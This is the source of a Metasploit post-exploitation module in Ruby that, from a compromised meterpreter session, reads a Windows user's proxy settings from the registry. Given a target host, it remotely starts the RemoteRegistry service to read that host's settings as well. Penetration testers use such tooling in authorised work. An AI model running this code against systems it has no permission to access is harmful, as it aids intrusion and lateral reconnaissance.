105 lines
3.5 KiB
Ruby
105 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Post
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include Post::Windows::Services
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def initialize
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super(
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'Name' => 'Windows Gather Proxy Setting',
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'Description' => %q{
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This module pulls a user's proxy settings. If neither RHOST or SID
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are set it pulls the current user, else it will pull the user's settings
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specified SID and target host.
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},
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'Author' => [ 'mubix' ],
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'License' => MSF_LICENSE,
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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)
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register_options(
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[
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OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]),
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OptString.new('SID', [ false, 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ])
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], self.class)
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end
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def run
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if datastore['SID']
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root_key, base_key = session.sys.registry.splitkey("HKU\\#{datastore['SID']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
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else
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root_key, base_key = session.sys.registry.splitkey("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
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end
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if datastore['RHOST']
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begin
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key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
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rescue ::Rex::Post::Meterpreter::RequestError
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print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
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print_status("Attempting to start service remotely...")
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begin
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service_start('RemoteRegistry',datastore['RHOST'])
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rescue
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print_error('Unable to read registry or start the service, exiting...')
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return
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end
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startedreg = true
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key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
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end
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open_key = key.open_key(base_key)
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else
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open_key = session.sys.registry.open_key(root_key, base_key)
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end
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values = open_key.query_value('DefaultConnectionSettings')
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#If we started the service we need to stop it.
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service_stop('RemoteRegistry',datastore['RHOST']) if startedreg
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data = values.data
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print_status "Proxy Counter = #{(data[4,1].unpack('C*'))[0]}"
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case (data[8,1].unpack('C*'))[0]
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when 1
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print_status "Setting: No proxy settings"
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when 3
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print_status "Setting: Proxy server"
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when 5
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print_status "Setting: Set proxy via AutoConfigure script"
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when 7
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print_status "Setting: Proxy server and AutoConfigure script"
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when 9
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print_status "Setting: WPAD"
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when 11
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print_status "Setting: WPAD and Proxy server"
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when 13
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print_status "Setting: WPAD and AutoConfigure script"
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when 15
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print_status "Setting: WPAD, Proxy server and AutoConfigure script"
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else
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print_status "Setting: Unknown proxy setting found"
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end
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cursor = 12
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proxyserver = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
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print_status "Proxy Server: #{proxyserver}" if proxyserver != ""
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cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
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additionalinfo = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
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print_status "Additional Info: #{additionalinfo}" if additionalinfo != ""
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cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
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autoconfigurl = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
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print_status "AutoConfigURL: #{autoconfigurl}" if autoconfigurl != ""
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end
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end
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